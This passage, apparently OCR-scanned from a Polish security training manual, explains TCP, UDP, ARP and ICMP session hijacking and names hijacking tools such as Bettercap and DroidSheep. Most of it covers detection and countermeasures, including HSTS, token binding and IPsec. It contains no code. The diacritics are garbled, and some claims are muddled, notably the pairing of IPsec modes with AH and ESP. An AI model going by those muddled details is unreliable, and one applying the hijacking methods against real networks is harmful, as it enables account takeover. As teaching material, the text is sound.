zresetowac potgczenie ofiary, jesli uzyje doktadnego numeru potwierdzenia. Ofiara wierzy, ze zrédto
wystato pakiet resetowania i resetuje potfaczenie. Przechwytywanie RST mozna przeprowadzi¢ za
pomocg narzedzi do tworzenia pakietow, takich jak Colasoft Packet Builder i narzedzi do analizy TCP/IP,
takich jak tcpdump.

Slepe porwanie

W przypadku przejecia kontroli na $lepo osoba atakujgca moze wstrzyknac ztosliwe dane lub polecenia
do przechwyconej komunikacji w sesji TCP, nawet jesli ofiara wytgczy routing zrédtowy. W tym celu
atakujgcy musi poprawnie odgadnac kolejny numer ISN komputera probujgcego nawigzaé potaczenie.
Chociaz osoba atakujgca moze wystaé ztosliwe dane lub polecenie, takie jak ustawienie hasta, aby
umozliwié dostep z innej lokalizacji w sieci, osoba atakujgca nie moze wyswietli¢ odpowiedzi. Aby mdéc
zobaczy¢ odpowiedz, znacznie lepszg opcjq jest atak MITM.

Przejecie UDP

Protokoét datagramoéw uzytkownika (UDP) nie wykorzystuje sekwencjonowania pakietéw ani
synchronizacji. Dlatego sesje UDP mozna tatwiej zaatakowac niz sesje TCP. Poniewaz UDP jest
bezpotaczeniowy, tatwo jest modyfikowaé dane bez zauwazenia przez ofiare. Podczas przejmowania
sesji na poziomie sieci porywacz fatszuje odpowiedz serwera na zgdanie UDP klienta, zanim serwer
bedzie mégt odpowiedzie¢. W ten sposdb atakujacy przejmuje kontrole nad sesjg. Zadne pakiety nie
sg wymieniane miedzy serwerem a klientem, poniewaz numer sekwencyjny serwera nie zgadza sie z
numerem potwierdzenia klienta. OdpowiedZ serwera mozna fatwo ograniczy¢, jesli uzywane jest
podstuchiwanie. Atak MITM w przejeciu UDP moze zminimalizowa¢ zadanie atakujgcego, poniewaz
moze przede wszystkim powstrzymaé odpowiedz serwera przed dotarciem do klienta.

Atak MITM przy uzyciu fatszowania ICMP i ARP

Atak MITM wykorzystuje sniffera pakietow do przechwytywania komunikacji miedzy klientem a
serwerem. Atakujgcy zmienia domysing brame komputera klienta i prébuje przekierowaé pakiety.
Pakiety miedzy klientem a serwerem sg kierowane przez hosta porywacza przy uzyciu dwdch
ponizszych technik.

Sfatszowany protokot komunikatow kontroli Internetu (ICMP)

Internet Control Message Protocol (ICMP) jest rozszerzeniem IP uzywanym do wysyfania komunikatow
o btedach. Osoba atakujgca moze uzy¢ protokotu ICMP do wysytania wiadomosci w celu oszukania



klienta i serwera. W tej technice pakiety ICMP s3 fatszowane w celu przekierowania ruchu miedzy
klientem a hostem przez host porywacza. Pakiety hakera wysytajg komunikaty o btedach wskazujace
na problemy z przetwarzaniem pakietéw przez oryginalne potgczenie. Powoduje to, ze serwer i klient
zamiast tego przechodzg przez Sciezke porywacza.

Fatszowanie protokotu rozpoznawania adreséw (ARP).

Hosty uzywajg tablic protokotu ARP (Address Resolution Protocol) do mapowania adreséw warstwy
sieci lokalnej (adreséw IP) na adresy sprzetowe lub adresy MAC. Technika ta polega na oszukaniu hosta
poprzez rozgtaszanie zadania ARP i zmienianie jego tablic ARP poprzez wysytanie sfatszowanych
odpowiedzi ARP. Atakujgcy wysyta sfatszowane odpowiedzi ARP, ktére aktualizujg tablice ARP hosta,
ktoéry rozgtasza zgdania ARP. To kieruje ruch do hosta atakujgcego zamiast prawidtowego adresu IP.

W obu technikach osoba atakujgca kieruje pakiety przesytane miedzy klientem a serwerem przez swojg
maszyne.

Narzedzia do przejmowania sesji

Atakujgcy mogg uzy¢ narzedzi takich jak Hetty, OWASP ZAP i Bettercap, aby przeja¢ kontrole nad sesjg
miedzy klientem a serwerem. W tej sekcji omdéwiono rézne narzedzia, ktore pomagajg w przejmowaniu
sesji.

Hetty

Hetty to zestaw narzedzi HTTP do badan nad bezpieczenstwem. Zapewnia nastepujgce funkcje:

o Serwer proxy HTTP Machine-in-the-middle (MITM) z dziennikami i zaawansowanym wyszukiwaniem
o Klient HTTP do recznego tworzenia/edycji zgdan i odtwarzania zagdan proxy

o Przechwytywanie présb i odpowiedzi do recznego przegladu (edycja, wysytanie/odbieranie i
anulowanie)

Bettercap

Bettercap to przenosna platforma napisana w Go, ktéra umozliwia badaczom bezpieczeristwa,
czerwonym zespotom i inzynierom wstecznym przeprowadzanie rozpoznania i réznych atakdéw na sieci
Wi-Fi, energooszczedne urzgdzenia Bluetooth, bezprzewodowe urzgdzenia HID i sieci IPv4/IPv6.

OWASP ZAP

Zed Attack Proxy (ZAP) to zintegrowane narzedzie do testowania penetracji do wyszukiwania luk w
zabezpieczeniach aplikacji internetowych. Oferuje zautomatyzowane skanery, a takze zestaw narzedzi,
ktére pozwalajg uzytkownikom recznie znalez¢ luki w zabezpieczeniach. Jest przeznaczony do uzytku
przez osoby z szerokim doswiadczeniem w zakresie bezpieczeristwa i jest idealny dla programistéw i
testeréw funkcjonalnych, ktérzy sg nowicjuszami w testach penetracyjnych.

Oto kilka dodatkowych narzedzi do przejmowania sesji:
Burp Suite ( https://portswigger.net )

Zzestaw narzedzi netool ( https://sourceforge.net )
Framework WebSploit ( https://sourceforge.net )

ssIstrip ( https://pypi.python.org )



JHijack ( https://sourceforge.net )
Narzedzia do przejmowania sesji dla telefonéw komérkowych
DroidSheep

Narzedzie DroidSheep stuzy do przejmowania sesji na urzgdzeniach z Androidem podfgczonych do
wspolnej sieci bezprzewodowej. Uzyskuje identyfikator sesji aktywnych uzytkownikéw w sieci Wi-Fi i
uzywa go do uzyskiwania dostepu do strony internetowej jako autoryzowany uzytkownik. Uzytkownik
DroidSheep moze z fatwoscig obserwowaé dziatania uprawnionych uzytkownikdw na stronach
internetowych. Moze réwniez przejmowac konta spotecznosciowe poprzez uzyskanie identyfikatora
sesji.

DroidSniff

DroidSniff to aplikacja na Androida do analizy bezpieczenstwa w sieciach bezprzewodowych, ktéra
moze przechwytywac konta Facebook, Twitter, LinkedIn i inne. Narzedzie to stuzy do testowania
bezpieczenstwa kont uzytkownikéw. Identyfikuje stabe witasciwosci bezpieczerstwa pofaczen
sieciowych bez szyfrowania.

FaceNiff

FaceNiff to aplikacja na Androida, ktéra umozliwia uzytkownikowi wachanie i przechwytywanie profili
sesji internetowych przez sie¢ Wi-Fi, do ktérej podtaczone jest urzgdzenie mobilne uzytkownika.
Chociaz FaceNiff moze przejmowac sesje tylko wtedy, gdy sie¢ Wi-Fi nie korzysta z protokotu Extensible
Authentication Protocol (EAP), dziata w dowolnej sieci prywatnej, w tym otwartej, Wired Equivalent
Privacy (WEP), Wi-Fi Protected Access-pre-shared key (WPA -PSK) i sieci WPA2-PSK.

Srodki zaradcze zwigzane z przejmowaniem sesji

Ogdlnie porwanie jest niebezpiecznym atakiem, poniewaz ofiara jest narazona na ryzyko kradziezy
tozsamosci, oszustwa i utraty poufnych informacji. Wszystkie sieci korzystajgce z protokotu TCP/IP sg
podatne na rdzne rodzaje atakéw polegajgcych na przejmowaniu sesji, oméwionych wczesniej. Jednak
przestrzeganie najlepszych praktyk moze chroni¢ przed atakami polegajgcymi na przejmowaniu sesji.
W tej sekcji omoéwiono metody wykrywania przejmowania sesji, narzedzia do wykrywania
przejmowania sesji, rozne srodki zaradcze do zwalczania atakdw polegajacych na przejmowaniu sesji
oraz podejscia powodujace podatnos¢ na przejmowanie ses;ji i ich rozwigzania zapobiegawcze, takie
jak IP Security (IPsec).

Metody wykrywania przejmowania sesji

Ataki polegajace na przejmowaniu sesji sg wyjgtkowo trudne do wykrycia, a uzytkownicy czesto je
przeoczaja, chyba ze atakujgcy wyrzadzi powazne szkody. Oto niektére symptomy ataku polegajgcego
na przejeciu sesji:

* Wybuch aktywnosci sieciowej przez pewien czas, ktéry zmniejsza wydajnos¢ systemu
* Zajete serwery wynikajgce z zgdan wysytanych zaréwno przez klienta, jak i porywacza
Metoda reczna

Metoda reczna polega na wykorzystaniu oprogramowania do wachania pakietow, takiego jak
Wireshark i SteelCentral Packet Analyzer, do monitorowania atakéw polegajgcych na przejmowaniu
sesji. Sniffer pakietéw przechwytuje pakiety przesytane przez sie¢, ktére sg nastepnie analizowane przy
uzyciu réznych narzedzi filtrujacych.



Wymuszony wpis ARP

Wymuszony wpis ARP polega na zastgpieniu adresu MAC zaatakowanej maszyny w pamieci podrecznej
ARP serwera innym adresem w celu ograniczenia ruchu sieciowego do zaatakowanej maszyny.

Wymuszony wpis ARP nalezy wykonac w przypadku:

o Powtarzajgce sie aktualizacje ARP

o Ramki przesytane miedzy klientem a serwerem z réznymi adresami MAC
o burze ACK

Metoda automatyczna

Metoda automatyczna polega na wykorzystaniu systemdow wykrywania wtaman (IDS) oraz systeméw
zapobiegania wtamaniom (IPS) do monitorowania przychodzacego ruchu sieciowego. Jesli pakiet
pasuje do ktérejkolwiek z sygnatur ataku w wewnetrznej bazie danych, IDS generuje alert, podczas gdy
IPS blokuje ruch przed wejsciem do bazy danych.

Ochrona przed przejmowaniem sesji

Uzyj Secure Shell (SSH), aby utworzy¢ bezpieczny kanat komunikacji.
Przekazuj uwierzytelniajgce pliki cookie przez potgczenia HTTPS.
Zaimplementuj funkcje wylogowania uzytkownika, aby zakoniczy¢ sesje.

Wygeneruj identyfikator sesji po pomyslnym zalogowaniu i zaakceptuj identyfikatory sesji
wygenerowane tylko przez serwer.

Upewnij sie, ze przesytane dane sg szyfrowane i zaimplementuj mechanizm obrony w giab.

Uzyj taricuchdw lub dtugich liczb losowych jako kluczy sesyjnych.

Uzywaj réznych nazw uzytkownikéw i haset do réznych kont.

Edukuj pracownikéw i zminimalizuj dostep zdalny.

ZaimplementujtimeoutO, aby zniszczy¢ sesje po wygasnieciu.

Unikaj dofaczania identyfikatora sesji do adresu URL lub ciggu zapytania.

Uzywaj przetgcznikéw zamiast koncentratordow i ograniczaj potaczenia przychodzace.

Upewnij sie, ze oprogramowanie zabezpieczajace po stronie klienta i serwera jest aktywne i aktualne.

Uzyj silnego uwierzytelniania (takiego jak Kerberos) lub wirtualnych sieci prywatnych (VPN) peer-to-
peer.

Skonfiguruj odpowiednie wewnetrzne i zewnetrzne reguty fatszowania na bramkach.

Uzyj produktéw IDS lub ARPwatch do monitorowania zatruwania pamieci podrecznej ARP.
Korzystaj z szyfrowanych protokotéw dostepnych w pakiecie OpenSSH.

Uzyj zapor ogniowych i ustawien przegladarki, aby ograniczy¢ pliki cookie.

Chron uwierzytelniajgce pliki cookie za pomocg Secure Sockets Layer (SSL).



Regularnie aktualizuj poprawki platformy, aby naprawié luki w zabezpieczeniach protokotu TCP/IP (np.
przewidywalne sekwencje pakietéw).

Uzyj protokotu IPsec do szyfrowania informacji o sesji.

Uzyj przypinania klucza publicznego HTTP (HPKP), aby umozliwi¢ uzytkownikom uwierzytelnianie
serwerdéw sieciowych.

Zezwalaj przegladarkom na weryfikowanie autentycznosci witryn za pomoca sieciowych serweréw
notarialnych.

Zaimplementuj uwierzytelnianie nazwanych jednostek oparte na DNS.
Wytacz mechanizmy kompresji zgdan HTTP.

Uzywaj szyfréw blokowych tancuchow szyfrow (CBC) zawierajgcych losowe wypetnienie do 255 bajtéw,
co utrudnia atakujgcemu wydobycie poufnych informacji.

Ogranicz skrypty miedzy lokacjami, aby zapobiec fatszowaniu zgdan miedzy lokacjami (CSRF) po stronie
klienta.

Zaktualizuj przegladarki internetowe do najnowszych wers;ji.

Uzywaj skaneréw luk w zabezpieczeniach, aby wykrywaé wszelkie niezabezpieczone konfiguracje
ustawien sesji HTTPS w witrynach.

Wiacz witasciwosé HTTPOnly, aby uniemozliwi¢ skryptom uzytkownika dostep do plikdw cookie
przechowywanych w pamieci podreczne;j.

Korzystaj z szyfrowanego FTP, aby zmniejszy¢ prawdopodobienstwo przejecia sesji.

Zastosuj rozwigzanie oparte na firmie Microsoft (podpisywanie SMB), aby wiaczy¢ podpisywanie
ruchu.

Wytyczne dotyczgce tworzenia stron internetowych w celu zapobiegania przejmowaniu sesji

Osoba atakujgca zazwyczaj przejmuje kontrole nad sesjg, wykorzystujgc luki w zabezpieczeniach
mechanizméw uzywanych do ustanawiania sesji. Twoércy stron internetowych czesto ignorujg
zabezpieczenia. Podczas procesu programowania powinni wzigé pod uwage nastepujace wytyczne, aby
zminimalizowad/wyeliminowad ryzyko przejecia sesji.

Tworz klucze sesyjne z dtugimi taricuchami lub liczbami losowymi, aby atakujgcemu trudno byto
odgadng¢ prawidtowy klucz sesyjny

Ponownie wygeneruj identyfikator sesji po pomysinym zalogowaniu, aby zapobiec atakom utrwalania
sesji

Zaszyfruj dane i klucz sesji przesytane miedzy uzytkownikiem a serwerami sieciowymi Zaimplementu;j
SSL, aby zaszyfrowac wszystkie informacje przesytane przez sieé

Spraw, aby sesja wygasata, gdy tylko uzytkownik sie wyloguje. Zapobiegaj podstuchiwaniu w sieci
Skré¢ zywotnosé sesji lub pliku cookie

Uzywaj restrykcyjnych dyrektyw pamieci podrecznej dla catego ruchu sieciowego przez HTTP i HTTPS,
takich jak nagtowki HTTP ,Cache-Control: no-cache, no-store” i ,,Pragma: no-cache” i/lub réwnowazne
tagi META we wszystkich lub ( przynajmniej) wrazliwych stron internetowych



Nie tworz sesji dla nieuwierzytelnionych uzytkownikéw, chyba ze jest to konieczne

Upewnij sie, ze korzystasz tylko z protokotu HTTP podczas korzystania z plikdw cookie dla
identyfikatorow sesji

Uzyj bezpiecznej flagi do wysytania plikdéw cookie w zgdaniach HTTPS i szyfruj je przed wystaniem przez
sie¢

Sprawdz, czy wszystkie zgdania otrzymane dla biezgcej sesji pochodzg z tego samego adresu IP i agenta
uzytkownika

Zaimplementuj ciggta weryfikacje urzadzenia, aby okresli¢, czy uzytkownik, ktory ustanowit sesje, nadal
ma kontrole

Zaimplementuj uwierzytelnianie oparte na ryzyku na réznych poziomach przed udzieleniem dostepu
do poufnych informacji

Przeprowadzaj uwierzytelnianie i weryfikacje integralnosci miedzy punktami koncowymi VPN

Zniszcz powigzane sesje po stronie serwera, zamiast po prostu polega¢ na wygasnieciu sesji, gdy
uzytkownik zostanie cofniety

Upewnij sie, ze aplikacja internetowa moze przekierowywaé zgdania HTTP do HTTPS przy uzyciu
ustawien serwera lub technik przekierowania

Wiacz ponowne uwierzytelnianie uzytkownika i generowanie nowych sesji przed zezwoleniem na
jakiekolwiek poufne funkcje

Polegaj na platformach internetowych, ktére zapewniajg wysoce bezpieczne identyfikatory sesji do
generowania sesji zamiast korzystania z wtasnego zarzgdzania sesjg

Wytyczne dla uzytkownikdéw sieci Web dotyczgce zapobiegania przejmowaniu sesji

Ponizej przedstawiono kilka wskazéwek dla uzytkownikow sieci, jak bronic sie przed przejeciem sesji.
Nie klikaj tgczy otrzymanych w wiadomosciach e-mail lub wiadomosciach btyskawicznych (IM).
Uzywaj zapor ogniowych, aby zapobiegac¢ przedostawaniu sie ztosliwych tresci do sieci.

Uzyj zapor ogniowych i ustawien przegladarki, aby ograniczy¢ pliki cookie.

Upewnij sie, ze witryna jest certyfikowana przez odpowiednie urzedy certyfikujace.

Upewnij sie, ze historia, zawartosc¢ offline i pliki cookie sg usuwane z przegladarki po kazdej poufnej i
wrazliwej transakcji.

Daj pierwszenstwo HTTPS, bezpiecznemu protokotowi transmisji, zamiast HTTP podczas przesytania
wrazliwych i poufnych danych.

Woyloguj sie z przegladarki, klikajgc przycisk wylogowania zamiast zamykania przegladarki.
Weryfikuj i wytgczaj dodatki z niezaufanych witryn. Wtgczaj dodatki tylko w razie potrzeby.

Prze¢wicz uzywanie jednorazowego hasta do krytycznych transakcji danych (np. transakcji karta
kredytows).

Czesto aktualizuj sygnatury antywirusowe, aby zapobiec automatycznej instalacji ztosliwego
oprogramowania, ktére probuje ukras¢ pliki cookie.



Narzedzia do wykrywania przejmowania sesji

Ataki polegajace na przejeciu sesji sg trudne do wykrycia, aw wiekszosci przypadkow ataki pozostajg
niezauwazone, powodujgc powazny wyciek poufnych danych. Narzedzia takie jak sniffery pakietow,
IDS oraz zarzadzanie informacjami i zdarzeniami bezpieczenstwa (SIEM) mogg by¢ uzywane do
wykrywania atakéw polegajgcych na przejmowaniu ses;ji.

USM Anywher

USM Anywhere oferuje zaawansowane funkcje wykrywania zagrozen, reagowania na incydenty i
zarzadzania zgodnoscia w chmurze, Srodowiskach lokalnych i hybrydowych. Specjalisci ds.
bezpieczenstwa mogg uzywac tego narzedzia do wykrywania préb przejecia sesji i przeprowadzania
wykrywania zasobdéw, wykrywania wtaman, automatyzacji zabezpieczen, zarzadzania SIEM i logami,
wykrywania punktéw koncowych i reagowania na nie, wykrywania zagrozen, analizy zagrozen i oceny
podatnosci na zagrozenia.

Wireshark

Wireshark umozliwia uzytkownikom przechwytywanie i interaktywne przegladanie ruchu w sieci. To
narzedzie uzywa Winpcap do przechwytywania pakietéw. Dlatego moze przechwytywacé pakiety tylko
w sieciach obstugiwanych przez Winpcap. Przechwytuje biezgcy ruch sieciowy z sieci Ethernet, IEEE
802.11, protokdt Point-to-Point/High-level Data Link Control (PPP/HDLC), asynchroniczny tryb
transferu (ATM), Bluetooth, uniwersalna magistrala szeregowa (USB), Token Ring, ramka Sieci
przekaznikowe i Fibre Distributed Data Interface (FDDI). Specjalisci ds. bezpieczernstwa uzywajg
programu Wireshark do monitorowania i wykrywania prob przejecia ses;ji.

Ponizej przedstawiono kilka dodatkowych narzedzi do wykrywania przejmowania sesji:
Quantum Intrusion Prevention System (IPS) (https://www.checkpoint.com)
LogRhythm (https://logrhythm.com)

SolarWinds Security Event Manager (https://www.solorwinds.com)

IBM Security Network Intrusion Prevention System (https://www.ibm.com)

Podejscia powodujgce podatnos¢ na przejecie sesji i ich rozwigzania zapobiegawcze

Implementacja protokotdw szyfrowania i podpisywania uniemozliwia atakujgcym przejmowanie sesji.
W ponizszej tabeli wymieniono rézne problemy i ich rozwigzania, ktére po wdrozeniu uniemozliwiajg
lub utrudniajg przejecie waznej sesji.

Podejscia do zapobiegania przejmowaniu sesji
Sciste zabezpieczenia transportu HTTP (HSTS)

HTTP Strict Transport Security (HSTS) to polityka bezpieczenstwa sieci, ktdra chroni witryny HTTPS
przed atakami MITM. Zasady HSTS pomagajg serwerom internetowym zmusi¢ przegladarki
internetowe do interakcji z nimi za pomocg protokotu HTTPS. Dzieki zasadom HSTS wszystkie
niezabezpieczone potgczenia HTTP sg automatycznie konwertowane na pofgczenia HTTPS. Ta zasada
gwarantuje, ze cata komunikacja miedzy serwerem internetowym a przegladarky internetowg jest
szyfrowana, a wszystkie dostarczane i odbierane odpowiedzi pochodzg z uwierzytelnionego serwera.

Wigzanie tokenow



Gdy uzytkownik loguje sie do aplikacji internetowej, generowany jest plik cookie z identyfikatorem
sesji, zwany tokenem. Uzytkownik wykorzystuje ten losowy token do wysytania zadan do serwera i
uzyskiwania dostepu do zasobdéw. Osoba atakujgca moze podszy¢ sie pod uzytkownika i przejac
potaczenie, przechwytujac i ponownie wykorzystujgc prawidtowy identyfikator sesji. Wigzanie
tokendw chroni komunikacje klient-serwer przed atakami polegajacymi na przejmowaniu sesji. Klient
tworzy pare kluczy publiczny-prywatny dla kazdego potaczenia ze zdalnym serwerem. Kiedy klient tgczy
sie z serwerem, generuje podpis przy uzyciu klucza prywatnego i wysyta ten podpis wraz ze swoim
kluczem publicznym do serwera. Serwer weryfikuje podpis za pomoca klucza publicznego klienta. Daje
to pewnos¢, ze wiadomosc zostata wystana przez autentycznego klienta, poniewaz tylko klient ma swaj
klucz prywatny. Nawet jesli osoba atakujgca przechwyci sygnature, nie ma mozliwosci jej ponownego
wygenerowania ani ponownego uzycia do innego potaczenia. Dla kazdego nowego potaczenia uzywana
jest nowa para kluczy publicznego i prywatnego.

Przypinanie klucza publicznego HTTP (HPKP)

Przypinanie klucza publicznego HTTP (HPKP) to technika zaufania przy pierwszym uzyciu (TOFU)
stosowana w nagtéwku http, ktéra umozliwia klientowi WWW powigzanie okreslonego certyfikatu
klucza publicznego z konkretnym serwerem w celu zminimalizowania ryzyka atakow MITM opartych
na fatszywych certyfikatach. W sesjach TLS, aby zweryfikowa¢ autentycznos¢ klucza publicznego
serwera, klucz publiczny jest zawarty w cyfrowym certyfikacie X.509, ktory jest podpisany przez urzad
certyfikacji (CA). Wfamujgc sie do dowolnego urzedu certyfikacji, osoby atakujgce moga
przeprowadzac ataki MITM na rézne sesje TLS. HPKP chroni sesje TLS przed takimi atakami dostarczajac
klientowi liste publicznych kluczy nalezacych do serwera WWW. Kiedy klient taczy sie z serwerem
WWW, weryfikuje certyfikat serwera w faincuchu certyfikatow uzyskanym za pomocg HPKP. Jesli
serwer wysle niezidentyfikowany klucz publiczny, klient wysyta uzytkownikowi komunikat
ostrzegawczy.

Nagtéwek strony odsytajacej HTTP

Gdy uzytkownik odwiedza strone internetowa, przegladarka ustawia nagtdwek strony odsyfajacej.
Zawiera adres URL lub URI strony internetowej, za pomocga ktérego mozna przej$é¢ do docelowej strony
internetowej wraz z adresem IP i identyfikatorem sesji. Odcisk palca nagtéwka strony odsytajacej
kazdego zadania pomoze w zidentyfikowaniu zmian w nagtdwkach HTTP. Gdy atakujacy prébuje
przejgé sesje przy uzyciu prawidtowego identyfikatora sesji, nagtéwek HTTP jest inny. W rezultacie
wtiamanie zostaje wykryte, a sesja zostaje zakonczona.

Podejsécia do zapobiegania atakom MITM

Ataki typu man-in-the-middle (MITM) sg najczestszym typem ataku, w ktorym atakujgcy moze
przechwyci¢ ruch miedzy dwoma punktami koricowymi. Ofiara moze nie zdawac sobie sprawy z efektu
tego ataku, poniewaz ma on gtéwnie charakter pasywny. Poniewaz wykrycie atakdw MITM jest trudne,
mozna zapobiegaé jedynie za pomocg réznych srodkdéw.

Oto kilka sposobdw zapobiegania atakom MUM:
DNS przez HTTPS

DNS przez HTTPS (DoH) to ulepszona wersja protokotu DNS, ktéra jest uzywana do zapobiegania
podgladaniu lub podgladaniu dziatan uzytkownika w sieci lub zapytan DNS podczas procesu
wyszukiwania DNS. Protokét rézni sie od konwencjonalnego protokotu DNS, poniewaz zapytania
sieciowe i ruch sg przesytane przez zabezpieczony lub zaszyfrowany tunel HTTPS przez port 443.
Wdrozenie DNS przez HTTPS sprawia, ze ruch jest niewykrywalny przez atakujgcych lub dostawcow



ustug internetowych, poniewaz jest ukryty w normalnym ruchu przechodzac przez port HTTPS. W
przeciwienstwie do tradycyjnego procesu wyszukiwania DNS, DoH wysyta segment nazwy domeny
niezbednej do pobrania wynikdw zamiast wysytania petnej nazwy domeny wprowadzone] przez
uzytkownika. Protokdt ten pomaga zapewnié prywatnos¢ i bezpieczenstwo uzytkownika, poniewaz
ruch sieciowy jest kierowany tylko miedzy klientami obstugiwanymi przez DoH a programem
ttumaczacym unikajgcym atakéw MITM i przejmowania sesji. Przegladarki internetowe, takie jak
Chrome, Mozilla i Microsoft Edge, wdrazajg ten protokét od kilku lat, a Mozilla juz od 2020 roku przyjeta
ten protokdt jako domysiny dla swoich klientéw w USA.

Szyfrowanie WEP/WPA

Wired Equivalent Privacy (WEP) i Wireless Protected Access (WPA) to protokoty bezprzewodowe,
ktérych celem jest ochrona ruchu wysytanego i odbieranego przez uzytkownikéw w sieci
bezprzewodowej. Implementacja tych protokotéw moze udaremnié¢ préby potaczenia sie z siecig
niechcianych uzytkownikéw. Staby mechanizm szyfrowania umozliwia atakujagcym uzycie sity
uwierzytelniajgcej i wejscie do sieci docelowej w celu przeprowadzenia ataku MITM.

VPN

VPN tworzy bezpieczny i zaszyfrowany tunel w sieci publicznej, aby bezpiecznie wysyta¢ i odbierac
poufne informacje. Tworzy podsie¢ za pomocy szyfrowania opartego na kluczach do bezpiecznej
komunikacji miedzy punktami korncowymi. Implementacja VPN w sieci uniemozliwia atakujacym
odszyfrowanie danych przeptywajgcych miedzy punktami koricowymi.

Uwierzytelnianie dwusktadnikowe

Uwierzytelnianie dwusktadnikowe zapewnia dodatkowg warstwe ochrony, poniewaz stuzy jako wektor
uwierzytelniania oprdocz hasta uzytkownika. W zwigzku z tym wdrozenie uwierzytelniania
dwusktadnikowego moze uniemozliwic¢ atakujgcym przejecie sesji i brutalne wymuszenie wtamania na
konto uzytkownika.

Menedzer haset

Menedzer haset to aplikacja lub narzedzie stuzgce do ochrony indywidualnych poswiadczen i
zarzadzania nimi. Narzedzie moze réwniez poméc w tworzeniu unikalnych i ztozonych haset do aplikacji
internetowych. Korzystajgc z menedzera haset, hasta mogg by¢ przechowywane w bezpiecznym
miejscu w bazie danych i enkapsulowane przy uzyciu klucza gtéwnego, aby zapobiec atakom MITM.

Zasady zerowego zaufania

Zasady zerowego zaufania stanowig zestaw standardowych procedur wstepnej weryfikacji
uzytkownikéw, ktére wymagajg uwierzytelnienia wszystkich uzytkownikéw (wewnatrz lub na
zewnatrz) przed udostepnieniem jakiegokolwiek zasobu. Zasady te opierajg sie na stynnym zdaniu
,Ufaj, ale sprawdzaj”. Mimo ze zgdanie pochodzi z sieci wewnetrznej, proces uwierzytelniania jest
podobny do procesu uwierzytelniania osoby z zewnatrz.

IPsec

Internet Protocol Security (IPsec) to zestaw protokotdw opracowanych przez Internet Engineering Task
Force (IETF) w celu wspierania bezpiecznej wymiany pakietbw w warstwie IP. Zapewnia
interoperacyjne bezpieczenstwo oparte na kryptografii dla IPv4 i IPv6 oraz obstuguje uwierzytelnianie
réwnorzedne na poziomie sieci, uwierzytelnianie pochodzenia danych, integralnosé danych, poufnosc
danych (szyfrowanie) i ochrone przed odtwarzaniem. Jest szeroko stosowany do implementacji sieci



VPN i zdalnego dostepu uzytkownikow poprzez potaczenie dial-up z sieciami prywatnymi. Obstuguje
tryby szyfrowania transportu i tunelu, chociaz urzgdzenia wysyfajgce i odbierajgce muszg wspoétdzieli¢
klucz publiczny. Zasady IPsec mozna przypisywac za pomocg konfiguracji zasad grupy domen Active
Directory, jednostek organizacyjnych i zasad wdrazania IPsec na poziomie domeny, lokacji lub jednostki
organizacyjnej. Ustugi bezpieczerstwa oferowane przez IPsec obejmuja:

Odrzucanie odtwarzanych pakietéw (forma czesciowej integralnosci sekwencji)
Poufnos¢ danych (szyfrowanie)

Kontrola dostepu

Bezpotgczeniowa integralnosc

Uwierzytelnianie pochodzenia danych

Integralnos¢ danych

Ograniczona poufnos¢ przeptywu ruchu

Uwierzytelnianie réwnorzedne na poziomie sieci

Ochrona powtdrek

W warstwie IP IPsec zapewnia wszystkie wyzej wymienione ustugi, oferujgc ochrone IP i/lub
protokotéw wyzszych warstw, takich jak TCP, UDP, ICMP i Border Gateway Protocol (BGP).

Sktadniki IPsec

Sterownik [IPsec: oprogramowanie wykonujace funkcje na poziomie protokotu wymagane do
szyfrowania i

odszyfrowac pakiety.
Internet Key Exchange (IKE): Protokét tworzacy klucze bezpieczenstwa dla IPsec i innych protokotow.

Internet Security Association and Key Management Protocol (ISAKMP): oprogramowanie, ktodre
pozwala dwédm komputerom komunikowa¢ sie poprzez szyfrowanie wymienianych miedzy nimi
danych.

Oakley: Protokdt wykorzystujgcy algorytm Diffiego-Hellmana do tworzenia klucza gtéwnego i klucza,
ktory jest specyficzny dla kazdej sesji w transferze danych IPsec.

Agent zasad IPsec: Ustuga zawarta w systemie operacyjnym Windows, ktéra wymusza stosowanie
zasad IPsec dla catej komunikacji sieciowej inicjowanej z tego systemu.

Ponizej przedstawiono kroki zwigzane z procesem IPsec.
Konsument wysyta wiadomos$é do ustugodawcy.

Sterownik IPsec klienta préobuje dopasowac adres pakietu wychodzacego lub adres typu pakietu w
poréwnaniu z filtrem IP.

Sterownik IPsec powiadamia ISAKMP o rozpoczeciu negocjacji zabezpieczen z ustugg dostawcy.

ISAKMP dostawcy ustug odbiera zgdanie negocjacji zabezpieczen.



Obie zasady inicjujg wymiane kluczy, ustanawiajgc ISAKMP Security Association (SA) i wspotdzielony
tajny klucz.

Obie zasady omawiajg poziom bezpieczenstwa wymiany informacji, ustanawiajgc zaréwno SA, jak i
klucze IPsec.

Sterownik IPsec klienta przesyta pakiety do odpowiedniego typu pofaczenia w celu przestania do
ustugodawcy.

Dostawca odbiera pakiety i przesyta je do sterownika IPsec.

IPsec dostawcy uzywa przychodzacego SA i klucza do sprawdzenia podpisu cyfrowego i rozpoczecia
odszyfrowywania.

Sterownik IPsec dostawcy przesyta odszyfrowane pakiety do warstwy transportowej OSI do dalszego
przetwarzania.

Tryby IPsec

Konfiguracja protokotu IPsec obejmuje dwa rdézne tryby: tryb tunelowy i tryb transportowy. Tryby te
sg powigzane z funkcjami dwdch podstawowych protokotéw: Encapsulation Security Payload (ESP) i
Authentication Header (AH). Wybdér modelu zalezy od wymagan i implementacji IPsec.

Tryb transportu

W trybie transportowym (réwniez ESP) IPsec szyfruje tylko tadunek pakietu IP, pozostawiajgc
nietkniety nagtéwek. Uwierzytelnia dwa potgczone komputery i udostepnia opcje szyfrowania
transferu danych. Jest kompatybilny z translacjg adreséw sieciowych (NAT); dlatego moze by¢ uzywany
do $wiadczenia ustug VPN dla sieci wykorzystujgcych NAT.

Tryb tunelowy

W trybie tunelowym (réwniez AH) IPsec szyfruje zaréwno fadunek, jak i nagtéwek. Stad tryb tunelowy
ma wieksze bezpieczenstwo niz tryb transportowy. Po otrzymaniu danych urzadzenie zgodne z IPsec
przeprowadza deszyfrowanie. Model tunelowy jest uzywany do tworzenia sieci VPN przez Internet do
komunikacji miedzy sieciami (np. prywatny czat). Jest kompatybilny z NAT i obstuguje przechodzenie
przez NAT. W trybie tunelowym system szyfruje cate pakiety IP (fadunek i nagtowek IP) i hermetyzuje
zaszyfrowane pakiety w nowy pakiet IP z nowym nagtéwkiem. W tym trybie, ESP szyfruje i opcjonalnie
uwierzytelnia cate wewnetrzne pakiety IP, podczas gdy AH uwierzytelnia cate wewnetrzne pakiety IP i
wybrane pola zewnetrznych nagtéwkdw IP. Tryb tunelowania jest zwykle przydatny miedzy dwiema
bramami lub miedzy hostem a brama.

Architektura IPsec

